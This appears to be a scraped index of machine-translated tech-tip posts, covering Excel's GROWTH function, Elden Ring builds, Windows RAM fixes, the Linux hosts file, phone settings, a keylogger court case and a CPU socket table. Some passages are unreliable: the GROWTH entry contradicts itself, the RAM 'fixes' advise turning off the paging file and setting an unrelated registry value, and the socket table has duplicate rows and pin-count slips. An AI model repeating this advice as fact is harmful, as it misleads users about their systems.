Dxgkrnl.sys problem.\nfix Windows 10 errors ncG1vNJzZmismaXArq3KnmWcp51ks6rEjJuqqJxdmcWot9Gno6yxo2Kys77Oq2Sipl2stq%2BwzrCqZmlg\n","link":"/post/fix-bsod-dxgkrnl-sys-error-in-windows-10/","section":"post","tags":null,"title":"Fix BSOD Dxgkrnl.sys error in Windows 10"},{"body":"The following article introduces you to the GROWTH function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function calculates the exponential growth value using existing data.\n\u0026nbsp;Syntax:  GROWTH (known_y's, [known_x's], [new_x's], [const])\nInside:\n- known_y's : The set of known y values ​​in the relationship y = b * m ^ x, is a required parameter.\n+ If known_y's is in a single column or row -\u0026gt; each known_y's column or row is interpreted as a separate variable.\n- known_x's: The set of known x values ​​in the relationship y = b * m ^ x, is a required parameter.\n+ known_x's may include 1 or more sets of variables.\n+ If known_x's is omitted -\u0026gt; it is assumed to be an array of the same size as known_y's\n- new_x's: \u0026nbsp;Are the new x values ​​that you want the function to return the values ​​corresponding to the values ​​of y.\n+ new_x's must include a column (row) for each independent variable.\n+ If new_x's is omitted -\u0026gt; it is assumed to be the same as known_x's.\n+ If known_x's and new_x's are omitted -\u0026gt; it is assumed to be the same as known_y's size .\n- const: The logical value determining the value of the constant b, is an optional value including the following values:\n+ const = True or ignore -\u0026gt; b is calculated normally.\n+ const = False or ignore -\u0026gt; b = 1 and m are adjusted such that: y = m ^ x.\nAttention:\n- The value of the returned formulas has the array formula type -\u0026gt; the function must be entered as an array formula.\n- When entering values ​​for an argument with the following convention:\n+ Use commas to separate values ​​in the same row.\n+ Use semicolons separating between rows together.\nFor example:\nCalculate the estimated revenue for the 6th and 7th months based on the previous sales month in the data table below:\n  - Calculate the expected revenue of the 6th month. In the cell to calculate enter the formula : = GROWTH (D6: D10, C6: C10, C11: C12)\n  - Press Enter -\u0026gt; predicted revenue of the 6th month is:\n  - Calculate the predicted revenue of the 7th month. In the cell to enter the formula : = GROWTH (D6: D11, C6: C11, C12)\n  - Press Enter -\u0026gt; predicted revenue of the 7th month is:\n  Above are instructions and some specific examples when using GROWTH function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktLO71q2fZp6lo7C1tc6nZK2glWKztrrCraCopl2Yrq2v1KWYrZ2jYsGpsYyer6mnnpq7tbXApWSgqp%2Bswal51Zqjrp1dqsCqusZmnLGho6m2r7OMnZitmV2eu26x15ycpQ%3D%3D\n","link":"/post/growth-function-the-function-calculates-the-exponential-growth-value-using-existing-data-in-excel/","section":"post","tags":null,"title":"GROWTH function - The function calculates the exponential growth value using existing data in Excel"},{"body":"Just like in Dark Souls, players strengthen their characters by leveling up stats with the experience (runes) they gain from defeating enemies.\nThe process of optimizing these stats and targeting to create a specific type of character is called build. In FromSoftware games, having a good build is crucial for success in both PvE, boss fights, and PvP encounters with other gamers.\nHere are the best ways to build characters in Elden Ring, based on Strength, Dexterity, Intelligence,.\nBuild Strength in Elden Ring Starting Class: Hero, Vagabond/ Vital stats: 44 Vigor, 40 Endurance, 66 Strength. Weapon: Weapon with Strength ratio (use both hands to increase damage), Medium or Greatshield.   If you want to create a pure strength character, this build is the best choice. The three main stats that players need are Vigor, Endurance and Strength.\nCharacters will need a lot of health and stamina to wear heavy armor, fight tanks. Since two hands holding a weapon increases effective power by 50%, there is a 66 Strength that gives 99 strength whenever wielding a weapon this way.\nThis gives the character an incredible amount of damage that can kill any enemy or player they encounter, especially if they're wearing light armor and don't have much health left.\nNote that using a one-handed weapon and carrying a good shield is also an effective option. High stamina combined with an upgraded Medium or Greatshield will allow to block tons of physical attacks with ease.\nBuild Dexterity (quickness) in Elden Ring Starting Class: Samurai, Vagabond. Vital stats: 44 Vigor, 40 Endurance, 65 Dexterity. Weapons: Weapons have a ratio of Dexterity bow, shield.   The best way to create an agile character is to choose the Samurai or Vagabond class because they inherently have Dexterity and great physical stats compared to other Elden Ring classes. Players will then want to upgrade their health and stamina along with their dexterity for maximum durability and damage in melee combat.\nOne important thing to note is that as a skilled character, everyone will be one of the few non-magical character classes that can fight at range effectively.\nBut the character also takes a lot more damage when hit with critical hits, so it is necessary to use a shield like Buckler. Try and hide around for a chance to sneak behind.\nThe best Build Intelligence (intelligence) Starting Class: Astrologer Vital stats: 39 Vigor, 35 Mind, 20 Endurance, 60 Intelligence. Weapon: Weapon with Intelligence ratio, stick.   Elden Ring players who want to build a purely magical type of mage should invest heavily in Intelligence. It increases magic damage and allows more powerful spells to be used.\nIn addition, gamers will also need to upgrade their Mind a bit to have more Focus Points to use their magic.\nIncreasing the Vigor stat is also good, as the character will need a high amount of health to make up for not being able to wear very heavy armor as a pure Intelligence character. In addition, the player can increase Vigor's stats to Dexterity to cast spells faster.\nIn addition to spells, using weapons with an Intelligence ratio is also a good idea if you need to engage in a melee battle. There are many Intelligence weapons in the open world of Elden Ring, and the player can also use Ashes of War to change the ratio of weapons already present. Make sure the character has the minimum Strength and Dexterity requirements to use these weapons.\nElden Ring ncG1vNJzZmismaXArq3KnmWcp51ksq2wxKdkq6GenHqpu9Zmq6hlkqq2rbCMnJ%2BaqpGYwaa%2BjJqanKeimbavs4ytpmasmJp6o7HSrWSarKSntqPB056q\n","link":"/post/how-to-build-character-according-to-the-best-attributes/","section":"post","tags":null,"title":"How to build character according to the best attributes"},{"body":"TikTok has introduced a new control feature that allows parents to easily control their children's app usage time. This new mode will allow parents to track their children's TikTok usage through their own account. Some of the options provided include limiting the content that children can see, limiting the amount of time online on the app, and managing who can send messages to children.\nChildren are the object of special attention on the internet, which is nothing wrong. However, adults themselves sometimes do not know that they are victims of applications in cyberspace. Social platforms like TikTok have proven extremely addictive, making users spend hours each day online and becoming an integral part of many people's lives.\nFortunately, TikTok offers a time-limited feature for everyone. If you feel you are taking too much time for TikTok but can't 'stop', try activating the time limit feature as instructed below.\nFirst, go to your TikTok account settings. The option to limit the usage time can be found in the 'Digital Wellbeing' menu. Here, you will see there are 2 options, one is Screen Time and the other is called Restricted Mode. Screen Time is exactly what we care about.\n   Click Screen Time. Here, you can turn on the 'Screen Time Management' screen management feature and set the appropriate time limit. This will be the amount of time you are allowed on the application. When the time is up, you will be offered a break.\n  If you want to continue using it, TikTok will ask you to enter the verification code you installed earlier. Please make sure you remember the 'password' you set. Of course, this time limit feature may not help you to 'TikTok', but it will help you know exactly the time you spend in the app, thereby making appropriate adjustments. according to the schedule.\n   Just enter the password you have set to turn off this restriction feature. It is also possible to disable it in the Digital Wellbeing menu.\n  About Restricted Mode, this is the mode that will put your TikTok app into a 'safe' state, in which you will only see content that is rated as age-appropriate. This feature is especially useful if you often have to lend your phone to young children.\n  Hope the above guide is detailed enough that you can turn on and install the limited mode on Tiktok.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYytoKSsn6B6pbHTqK8%3D\n","link":"/post/how-to-enable-tiktok-detox/","section":"post","tags":null,"title":"How to enable TikTok 'detox'"},{"body":"Ram is an important and indispensable resource to help the computer operate stably. However, many people have responded that Windows 10 does not use up RAM leading to a decrease in performance. If that is the case, try the following ways to fix the problem.\nCheck RAM If you have 2 or more RAM sticks, and realize that Windows is not getting enough installed space, it is most likely because you have not inserted the RAM properly. There are many causes of this phenomenon and the only fix is ​​to try removing and reinserting RAM.\n  First, you need to turn off your computer, unplug the power source, then remove the RAM. Normally, when you install the correct RAM you will hear a 'click'.\nThere is another case to consider is the possibility that your RAM has been damaged, which indicates that you often encounter Blue Screen during PC use. To be sure if the memory stick is damaged, remove all the RAM and reinsert each one to see which one is not working properly.\nYou are using a 32-bit version of Windows If Windows 10 is not using up RAM, it may be because you are running 32-bit version. As you may not have known, 32-bit Windows only supports up to 4GB of RAM, and doesn't even use up that number. It doesn't matter if you only have 4GB of RAM, but if you have more it is a waste.\nTo check whether your computer is on a 32-bit or 64-bit version, do the following:\nPress Windows key + S to open the search dialog.\nEnter System Information and open the application.\n  Note the System Type section , if it shows x86-based PC, your computer is on 32-bit version. The opposite for x64-based PC means 64-bit.\n  If your system is 32-bit, you have no choice but to upgrade Windows to 64-bit version (provided the CPU supports 64-bit).\nTurn off Automatic RAM virtualization Many people have been able to fix Windows not running out of RAM issue by disabling Automatic RAM Virtualization.\n1. Press Windows key + S and type advanced , then open View advanced system settings is displayed.\n  2. When the window opens, click Settings under Performance .\n  3. Go to the Advaned tab and click Change .\n  4. Uncheck the box Automatically manage paging file size for all drives .\n  5. One by one select the drives from the list and check No paging file .\n  6. Finally, OK and restart your PC.\nIf that doesn't help, you can re-enable Automactically manage paging file size for all drives.\nUse msconfig 1. Press Windows key + R to open the Run dialog box, type msconfig , and then Enter .\n  2. The System Configuration window appears. Switch to the Boot tab and click Advanced options .\n  3. Check the box Maximum memory and enter the amount you have in MB. 1GB is 1024 and so multiplied, use your computer to make sure you enter the correct amount of RAM you have. Then click OK .\n  4. Click Apply to save your changes and exit.\nEdit Registry One more method to fix the problem the computer is not getting enough RAM. You should be careful when performing the steps below, as a mistake in the Registry can cause Windows 10 to crash.\n1. Press Windows key + R and type regedit , then Enter .\n  2. When the Regedit window opens, navigate to:\nComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management 3. In the right pane, click to open ClearPageFileAtShutdown .\n  4. Set the value to 1 or 2 and OK .\n  Once done, restart your computer and see if the problem has been resolved.\nAbove are some ways that TipsMake synthesizes to help you fix the error of the computer not getting enough RAM.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqiecKopKmtpJq%2FbrrOrWSgnaSptq%2BzjJ6lqK2XnXqzrcw%3D\n","link":"/post/how-to-fix-a-computer-not-getting-enough-ram/","section":"post","tags":null,"title":"How to fix a computer not getting enough RAM"},{"body":"There is a single file on the computer that acts as a small port between the user and the web, called the hosts file. If you need to block web pages or create personalized web shortcuts on Linux, solve these tasks by adding or adjusting a few lines in the hosts file.\nLearn about the Hosts file on Linux What is file hosts on Linux? Location of hosts file on Linux How to add the site to the hosts file Create a shortcut in the hosts file The underlying problem with the hosts file What is file hosts on Linux? File hosts is a simple plain text file that all operating systems use to translate hostnames (also known as web addresses or URLs) into IP addresses. When entering the hostname, such as quantrimang.com, the system will review the file hosts to obtain the necessary IP address and connect to the appropriate server.\nIf you open the hosts file, you will quickly notice that there is no directory of the entire Internet in it, but only a few short lines.\nTurns out, the system will check the host file before searching for a site on the DNS servers identified in the network settings (usually the ISP's DNS server).\nThis means that the hosts file can be used to add what the DNS server cannot provide (such as an alias for locations on the local network. This only happens if a DNS server is set up. in the local network) or override the IP addresses that DNS servers normally provide.\nFor example, if requested by quantrimang.com, DNS servers will return IP Address TipsMake.com to the computer. But if you want to block TipsMake.com on that computer, you can add an item in the hosts file, let the computer know that quantrimang.com points to some IP addresses other than the actual IP address of TipsMake.com .\nThere are many other things to do with hosts files, but these are just a few basic examples and other uses that depend heavily on the needs of each person.\nLocation of hosts file on Linux On Linux, you can find the hosts file in / etc / hosts. Because this is a / etc / hosts file, you can open the hosts file with your favorite text editor.\nHowever, because the hosts file is a file system, it will need admin rights to save the changes. So, to edit the hosts file with a terminal Linux-based text editor, such as nano, first enter sudo to have superuser access (superuser):\nsudo nano /etc/hosts  To use a graphical text editor like gedit, you can try gksu instead:\ngksu gedit /etc/hosts  You must use the terminal to be able to launch the application in accordance with admin permissions. Just replace nano or gedit with a terminal-based text editor or favorite graphics. With nano, when you've finished editing the file, press Ctrl + X and then press Y to confirm overwriting changes.\nHow to add the site to the hosts file   In hosts file, each item has its own line. The syntax is very simple. Enter the IP address you want to translate into the hostname, press the Tab key on the keyboard and then enter the hostname.\nFor example, to block Wikipedia, enter (remember to use the Tab key instead of the spacebar):\n127.0.0.1 wikipedia.org  127.0.0.1 is a loopback IP address that will always point to your own system. Since the website is not hosted, the browser will indicate that the site cannot be found. Now, the website has been effectively blocked.\nIf you do not like to use Terminal, check out Linux Mint's Domain Blocker application (also known as mintnanny). Domain Blocker will add entries to the hosts file pointing to the hostname you specified to 127.0.0.1. But to do anything else, you will still need to change with the text editor.\nDownload Domain Blocker (Free)   Create a shortcut in the hosts file If you have a computer on your home network (assuming your device's IP address is 192.168.1.10 ) and a simple website is useful for you, you can enter the following content into your hosts file:\n192.168.1.10 homeserver  Then, if you open the browser and enter http:/// homeserver, it will automatically redirect to 192.168.1.10. Much easier than typing IP addresses each time.\nAlternatively, you can use file hosts to create shortcuts to certain websites on the web. Use a command like nslookup to find the site's IP address, then add it to your hosts file with the desired shortcut, just like in the example above. But this only works on websites with dedicated IP addresses and may not work for most websites you visit.\nThe underlying problem with the hosts file The article mentioned changes to hosts files, but you may still have problems using Google Chrome. This web browser tends to ignore the hosts file unless you do one of the following:\n1. Enter http:/// at the beginning of each address. For example, if you block Wikipedia in the hosts file, then Chrome skips blocking this page, if you enter wikipedia.com into the address bar. If you enter http://wikipedia.com into the address bar, the browser will follow the hosts file.\n2. Disable 'Use a web service to help resolve navigation errors' in Chrome settings and then you do not have to enter http:/// at the beginning of the address bar every time you visit the site. This is one of several Google Chrome security tips worth doing.\nFile hosts provide an easy way to block access to some websites on the computer. Since many versions of Linux do not include parental control software, this can be useful if you decide to start your children using a Linux computer.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWfmbanxYyapZ1lnZa7orPEZp%2Boq6Soeqe1y56qZqeeYrmqutSx\n","link":"/post/how-to-modify-and-manage-hosts-files-on-linux/","section":"post","tags":null,"title":"How to modify and manage Hosts files on Linux"},{"body":"Every smartphone has a Wifi transceiver feature that supports sharing and Internet access of users anywhere with a much safer way than using Wifi at public hotspots.\nUsers only know that Wifi transceiver can support people around, not knowing that the network speed when using the hotspot can be increased by the settings in their smartphone, especially on Android phones. .\nMost Android smartphones are for users to connect to Wifi on both bands of 2.4 GHz and 5 GHz . These two connection options can be completely selected in the settings to speed up Wifi when using the private access point feature.\nHow to share Wi-Fi via Bluetooth on Android How to view saved Wifi passwords on Windows How to find and change Wifi passwords on Windows 10 Instructions to speed up Wifi playback on Android phones How to speed up Wifi hotspot on Xiaomi phone Step 1: First go to the Settings app, then select Network and Internet, or select Connect in some other Android phone settings. Here I use Xiaomi Mi A2.\nNext in the Network and Internet menu, select Broadcast point and share connection .\n   Step 2: In the hotspot menu and share the connection, select Wi-Fi hotspot . Then select Advanced .\n   Step 3: When expanding the Advanced menu, select the AP Bandwidth feature. In the band selector for Wifi hotspot, select 5 GHz band and click Apply .\n   It is an installation that helps you speed up Wifi hotspots on Android phones, specifically on Xiaomi Mi A2 phones. There are several ways to speed up Wifi hotspots in other smartphones you can refer to below.\nHow to speed up Wifi hotspot on LG phones To speed up wifi hotspot on LG you go to Settings app\u0026gt; select Network menu\u0026gt; select Tethering\u0026gt; select Wifi access point , then click Set up Wifi hotspot .\nNow in the window that appears, scroll down and select Show advanced options . Here you switch from 2.4GHz Band (2.4GHz Band) to 5GHz Band (5GHz Band) .\n  How to speed up Wifi of Samsung phones   On Samsung phones, to speed up Wifi connection, please select the Settings \u0026gt; select Connect \u0026gt; select Mobile access point and share connection . Click Mobile hotspot.\nIn this menu, please click on the three dots icon in the upper right corner, there will be a drop down window and there will be the option of Configuring the mobile access point , clicking on it will bring up a small table. Scroll down and select Show advanced settings and select Use 5GHz band when available.\nHere are some instructions for installing Wifi accelerator on Android phones, and many other smartphone companies also support this feature that you can find in the network menu in the Settings application.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZLChlp56qbvTrKeorKNivK95wKebq6eZmXqxtM6nnKw%3D\n","link":"/post/how-to-speed-up-wifi-hotspots-on-android-phones/","section":"post","tags":null,"title":"How to speed up Wifi hotspots on Android phones"},{"body":"To ensure privacy when using Snapchat, you can turn off the Snap Map of the app on your iOS or Android device. Follow these instructions to prevent other individuals from knowing your location on the Snap map or just allowing a few close friends to see your location.\nAlthough location sharing is quite useful, you'll definitely want full control of this feature. With Snap Map you can customize location sharing based on demand. For example, you can disable Snap Map completely or choose location sharing for a few individuals.\nNote, Snapchat uses your location for some features like Geofilters, Snap Map and Search. So, if you turn off location positioning, you will not be able to get relevant search results or use Geofilters.\nHow to turn off location sharing in Snapchat on your phone\nNote: Steps to perform the same location sharing off on iPhone and Android.\nStep 1. Open the Snapchat application, use your finger to drag the screen as shown to open Snap Map.\n  Step 2. Now, click on the gear icon in the top right corner.\n  Step 3. Here, you have 3 options:\nGhost mode (Disable location sharing) My friend (Display location for all friends using Snapchat) Only These Friends (Show only locations for certain people) If you don't want anyone to see your location, turn on the switch next to Ghost Mode. Then, select the time period you want to turn off location sharing.\n  For example, you can turn it off for 3 hours, 24 hours or until you turn the switch back on.\nIf you want to display the location for some friends, click Only These Friends, then select in the list of friends. Finally, touch Done to confirm.\nSo done, you can prevent others from knowing your location by turning on the switch next to Ghost Mode.\n  In addition to the above, you can also access the Setting application and edit location permissions.\nSee more:\nInstructions for using Snapchat without sharing the location Instructions for sharing location in iMessage via Apple Maps Instructions for sending Google Maps location on PC to smartphone Did you know how to block Facebook tracking? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKWnk5bBqrvNZqqhmaKeu6h5yKdkrKaRpbCprdNmpqdlmaW1sLrEZpinnF2Wu6W%2BzqKb\n","link":"/post/how-to-turn-off-location-sharing-in-snapchat-on-iphone-and-android/","section":"post","tags":null,"title":"How to turn off location sharing in Snapchat on iPhone and Android"},{"body":"The court issued this law after a lawsuit by a web developer with a media company in the North Rhine-Westphalia state of Germany.\nThe company fired the programmer due to information from the keylogger software The developer worked for the company for four years but was fired in April 2015, a month after the company installed software to monitor keyboard activity on employees' devices. Not forewarned. In addition to monitoring keyboard activity, the software also captures the screen shots of the user according to the time interval.\nThe company fired him for using the company's computer to program games for another company. They say it is against the company regulation to use it for privacy and to fire him without notice.\nHe later filed a court case due to a sudden dismissal, saying he only spent three hours programming the game. All are during the lunch break, 10 minutes a day. This game is used for his father's game company.\n  Use keylogger software to monitor allegedly illegal employees in Germany\nThe developer knows that the company tracks Internet traffic but is not aware of the computer activity recording software. He also countered that the information surrounding his dismissal was illegally collected because he used software to record computer activities, invade his private life, including personal and confidential conversations. password .\nIt is illegal to judge employees by keyloggers The jury also agreed that tracking employees with the keylogger software had gone too far, but also said that companies were allowed to use such software when there was a good reason to doubt the employee. is violating the law.\nHowever, keyloggers should not be used to track employees or resolve disputes. The jury said that it was unreasonable to fire this programmer.\nOver the past 4 years, companies selling keylogger software say using these software is legal.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJympqiRo8Zur8CnpaisXarApnnKnrCbp5GnsW6%2BxJymq5yZo7Ruv86fq7CZopp6tbuMpqanoaSkv26xzKmjqLGVmsA%3D\n","link":"/post/the-company-cannot-use-keyboard-recording-software-to-monitor-employees/","section":"post","tags":null,"title":"The company cannot use keyboard recording software to monitor employees"},{"body":"When buying a laptop, what affects you? Brand, specifications or features? For many users, the brand of a laptop is more influential than the rest. So the following article will show the best brand rankings in 2017. This year, Lenovo beat Apple from the top position. Asus and Dell respectively took second and third positions.\n  The following laptop deals are evaluated based on product quality, advanced innovations, helpful support, beautiful design style and strong value. Because of the low rating, expensive products and lack of communication ports, Apple dropped to fifth place after years of receiving the title of \"king\" of laptop brands.\n  Lenovo leaped to the first place in terms of the power of highly rated laptops, breakthrough technologies and improved customer support. Asus is in second place, thanks to a valuable product line. Dell has surpassed and won the top three in terms of the power of high-end laptops and strong warranty.\nThe best calculator for students in 2017 Ranked 25 fastest gaming laptops 1. Lenovo (90/100)   \nLenovo has astonished us with notebooks with high battery life (three different ThinkPads with a shelf life of more than 17 hours), beautifully designed with the 'bezel-less' screen ( Ultra-thin border) in Yoga 910 and advanced features like Halo keyboard on Yoga Book.\n2. Asus (86/100)   \nIf you are looking for the best combination of quality and price, Asus is a great choice. The company also made innovations in game consoles equipped with water-cooled systems and designed to look more attractive like the blue and gold (chasiss) aluminum chassis on the ZenBook 3.\n3. Dell (83/100)   \nDell has an extremely attractive line of laptops, led by the Dell XPS 13, then the XPS 15 notebook and Alienware gaming consoles. This year, the company has stepped up design and functionality in laptops by providing an OLED display on the Alienware 13, developing a 2-inch computer in an ultra-slim XPS. Dell also offers a factory warranty with many options to expand your warranty coverage.\n4. HP (82/100)   \nHP computers feature outstanding Ultrabooks and powerful warranty.\n5. Apple (78/100)   \nThe MacBooks are very thin, robust configuration, good warranty service but their prices are a bit expensive.\n6. Acer (78/100)   \nAcer offers a wide range of affordable laptops with the best support for computer vendors. However, many of its products have average ratings.\n7. MSI (76/100)   \nMSI has a lot of good gaming notebooks with powerful specifications and advanced features. However, its technical support is not very good.\n8. Razer (73/100)   \nRazer has some high quality Ultrabooks and gaming laptops. The company's products are strong, but its support is not good.\n9. Samsung (68/100)   \nThe company has produced several improved Chromebooks, but most of these small laptops have average ratings. The company's technical support is not very good.\n10. Microsoft (66/100)   \nMicrosoft ranked lowest, because the company has barely developed anything new in the past. Its only new laptop is the Surface Book. However, 2-in-1 computers are still good choices.\nSo above is the best computer brand in 2017, please choose for yourself the best laptop.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdmbK0tdGamaWdXaGuscDOqWSbqpGjsbR506ibmrE%3D\n","link":"/post/the-most-desirable-laptop-brands-today/","section":"post","tags":null,"title":"The most desirable laptop brands today"},{"body":"Since the first CPUs from Intel and AMD already have different socket and slot types, the goal is to use them only for their processors. In the following article, Network Administrator will list all socket and slot types that have been released to date with their respective pins and examples of compatible CPUs.\nList of specific sockets 1. Introduction 2. Socket for Desktop 3. Sockets for Server 4. Mobile Socket 1. Introduction to CPU socket If before, a CPU socket needs to be compatible with a type of processor. However, this story changed after releasing 486 microprocessors and using socket ZIF (Zero Insertion Force), also known as LIF (Low Insertion Force), this new generation has a level to Install and remove the CPU from the socket without the user or technician having to press the CPU down to attach it to the socket. Using this socket greatly reduces the risk of breaking or bending the CPU pins when installing or removing it. Using the same leg structure by multiple processors allows users or technicians to install different processor models on the same motherboard, by removing the old CPU and installing it. Put in that new one. Obviously the motherboard needs to be compatible with the newly installed CPU and also need to be properly configured.\nSince then, both Intel and AMD have developed a series of sockets and slots to be able to use their CPUs.\nThe socket used with the first 486 processor is not ZIF and does not allow you to replace the CPU with another model. Even if this socket doesn't have an official name, let's call it socket 0. After socket 0, Intel released socket 1, which is a socket type with a pin diagram like socket 0 and an extra lock pin (key pin ). It is also approved as the ZIF standard, which allows the installation of several other processor types on the same socket (ie on the same motherboard).\nOther socket standards have been released for the 486 family after socket 1 is socket 2, socket 3 and socket 6, aiming to increase the number of CPU models that can be installed on the CPU socket. Therefore, socket 2 approves CPUs approved by socket 1 plus some other models . Although socket 6 has been designed, it has never been used. That's why we often call the pin diagram used by 486 class processors as 'socket 3'. Intel has called the 'acceleration system' the ability of a socket to approve more CPU models. Intel has also approved this name for CPUs that use pinouts from an old CPU, to allow it to be installed on older motherboards.\nThe first Pentium processors (60 MHz and 66 MHz) used the pinout standard called socket 4, which is also a 5-pin pin diagram. Pentium processors from 75 MHz to all are 3.3v and therefore require a new one, this type of pin is called socket 5, is not compatible with socket 4 (for example, Pentium-60 cannot be installed on socket 5 and Pentium-100 cannot be installed on socket 4).\nSocket 7 uses the same pinouts as socket 5 plus an additional pin (key pin), approving similar microprocessors approved by socket 5 plus new CPUs, especially CPU designed. by computer companies (the real difference between socket 5 and socket 7 is: socket 5 is always provided with 3.3V CPUs and socket 7 allows CPUs to be granted another voltage level, like 3.5V or 2.8V). Super 7 socket is a socket 7 type capable of running up to 100MHZ, used by AMD CPUs. We often call Pentium Classic and compatible CPU pinouts as 'socket 7'.\nAs you can see, sockets and pinouts at this stage are very messy, since the given processor can be installed on many different socket types. The 486DX-33 can be installed on sockets 0, 1, 2, 3 and possibly all 6 if released.\nCPU manufacturers must follow a simpler scheme, each CPU should be installed only on a socket type.\n  2. Socket for Desktop In the table below, the Network Administrator will list all socket and slot types created by Intel and AMD from CPU 486 and examples of CPUs compatible with them.\nSocket Battery number Release date Compatible Socket 0 168 1989 486 DX Socket 1 169 1989 486 DX 486 DX2 486 SX 486 SX2 Socket 2 238 Unknown 486 DX 486 DX2 486 SX 486 SX2 Pentium Overdrive Intel 80486 Socket 3 237 1993 486 DX 486 DX2 486 DX44 86 SX 486 SX2 Pentium Overdrive 5x86 Socket 4 273 March 1993 Pentium-60 Pentium-66 Socket 5 320 March 1994 From Pentium-75 to Pentium-120 AMD K5 Cyrix 6x86 IDT WinChip C6 IDT WinChip 2 Socket 6 235 Unknown 486 DX 486 DX2 486 DX4 486 SX 486 SX2 Pentium Overdrive 5x86 Socket 463 463 1994 Nx586 Socket 7 321 June 1995 Pentium-75 to Pentium-200Pentium MMXK5K66x866x86MXMII Socket Super 7 321 May 1998 K6-2K6-III Slot 1 (SC242) 242 May 1997 Pentium II Pentium III (Cartridge) Celeron SEPP (Cartridge) Socket 370 370 August 1998 Celeron (Socket 370) Pentium III FC-PGACyrix IIIC3 Socket 462 / A 462 2000 AMD Athlon AMD Athlon MP AMD Athlon XP AMD Athlon XP-M AMD Duron AMD Geode NX AMD Mobile Athlon 4 AMD Mobile Duron AMD Sempron Socket 423 (PGA423) 423 November 2000 Pentium 4 (Socket 423) Socket 463 463 1994 Nx586 Socket 478 (mPGA478B) 478 August 2001 Pentium 4 (Socket 478) Celeron (Socket 478) Celeron D (Socket 478) Pentium 4 Extreme Edition (Socket 478) LGA775 (Socket T) 775 August 2004 Pentium 4 (LGA775) Pentium 4 Extreme Edition (LGA775) Pentium DPentium Extreme EditionCeleron D (LGA 775) Core 2 Duo Core 2 QuadCore 2 ExtremePentium Dual Core Pentium E6000 series LGA1155 (Socket H2) 1,155 January 2011 Core i3 2000 series Core i3 3000 series Core i5 2000 series Core i5 3000 series Core i7 2000 series Core i7 3000 series Pentium G600 series Pentium G800 series Pentium G2000 series Celeron G400 series Celeron G500 series LGA1156 (H1 Socket) 1,156 September 2009 Core i3 500 series Core i5 600 series Core i5 700 series Core i7 800 series Pentium G6900 series Celeron G1101 LGA1366 (Socket B) 1.366 September 2009 Core i7 900 series Celeron P1053 LGA2011 (Socket R) 2,011 November 2011 Core i7 3800 series Core i7 3900 series Slot A 242 June 1999 Athlon (Cartridge) Socket 462 (Socket A) 453 June 2000 Athlon (Socket 462) Athlon XPAthlon MPDuronSempron (Socket 462) Socket 754 754 September 2003 Athlon 64 (Socket 754) Sempron (Socket 754) Socket 939 939 June 2004 Athlon 64 (Socket 939) Athlon 64 FX (Socket 939) Athlon 64 X2 (Socket 939) Sempron (Socket 939) Socket 940 940 September 2003 Athlon 64 FX (Socket 940) Socket AM2 940 May 2006 Athlon 64 (Socket AM2) Athlon 64 FX-62 Athlon 64 X2 (Socket AM2) Sempron (Socket AM2) Socket AM2 + 940 November 2007 Athlon 64 (Socket AM2 / AM2 +) Athlon 64 FX-62 Athlon 64 X2 (Socket AM2 / AM2 +) PhenomSempron (Socket AM2) Socket AM3 941 April 2010 Athlon II Phenom II Sempron (Socket AM3) Socket AM3 + 942 October 2011 Athlon II Phenom II Sempron (Socket AM3) FX Socket F 1,207 November 2006 Athlon 64 FX-70 Athlon FX-72 Athlon FX-74 Socket FM1 905 July 2011 A4 A6 A8 E2 Socket FM2 904 2012 A4 A6 A8 A10 E2 LGA 1150 / Socket H3 1.150 2013 Intel Haswell Intel Haswell Refresh Intel Broadwell Socket FM2 + 906 2014 AMD Kaveri Processors AMD Godavari Processors Socket AM1 721 2014 AMD Athlon AMD Sempron LGA 1151 / Socket H4 1.151 2015 Intel Skylake Intel Kaby Lake LGA 1151v2 1.151 Intel Coffee Lake Socket AM4 1,331 2017 AMD Ryzen 7 AMD Ryzen 5 AMD Ryzen 3 Socket TR4 4094 2017 AMD Ryzen Threadripper LGA 2066 / Socket R4 2066 2017 Intel Skylake-X Intel Kaby Lake-X 3. Sockets for Server Socket Battery number Release date Compatible Slot 8 387 1995 Pentium Pro Slot 2 (SC330) 330 1998 Pentium II Xeon Pentium III Xeon Socket 603 603 2001 XeonXeon MP Socket 604 604 2002 XeonXeon MP LGA775 (Socket T) 775 August 2004 Xeon 3000 series LGA771 (Socket J) 771 2006 Xeon 3000 series Xeon 5000 series mPGA478MT (Socket M) 478 2006 Xeon LV 1.66 GHz Xeon LV 2.0 GHz Xeon LV 2.16 GHz Xeon ULV 1.66 GHz LGA1155 (Socket H2) 1,155 January 2011 Xeon E3Pentium 350 LGA1156 (H1 Socket) 1,156 September 2009 Xeon 3400 series LGA1366 (Socket B) 1.366 September 2009 Xeon 3500 series Xeon 3600 series Xeon 5500 series Xeon 5600 series Pentium 1400 series FCLGA1567 1,567 March 2010 Xeon 6500 series Xeon 7500 series Xeon E7 LGA2011 (Socket R) 2,011 November 2011 Xeon E5 1600 series Xeon 600 series Xeon 4600 series FCLGA1356 1,356 May 2012 Xeon E5 1400 series Xeon E5 2400 series PAC418 418 2001 Itanium 733 Itanium 800 PAC611 611 2002 Itanium 2 LGA1248 1,248 February 2010 Itanium 9300 series Socket 939 939 2004 Opteron 100 series Socket 940 940 September 2003 Opteron 100 series Opteron 200 series Opteron 800 series Socket F 1,207 November 2006 Opteron 13xS series Opteron 2200 series Opteron 2300 series Opteron 2400 series Opteron 8200 series Opteron 8300 series Opteron 8400 series Socket C32 1.207 June 2010 Opteron 4000 series Socket G34 1,974 March 2010 Opteron 6000 series LGA 3647 3,647 2016 Intel Xeon Phi Intel Skylake-SP Socket SP3 4.094 2017 AMD Epyc LGA 2066 / Socket R4 2.066 2017 Intel Skylake-X Intel Kaby Lake-X 4. Mobile Socket Socket Battery number Compatible Release date Socket 7 321 June 1995\nMobile Pentium (Socket 7) Mobile Pentium MMX (Socket 7) TCP320 320 NA Mobile Pentium (TCP320) Mobile Pentium MMX (TCP320) 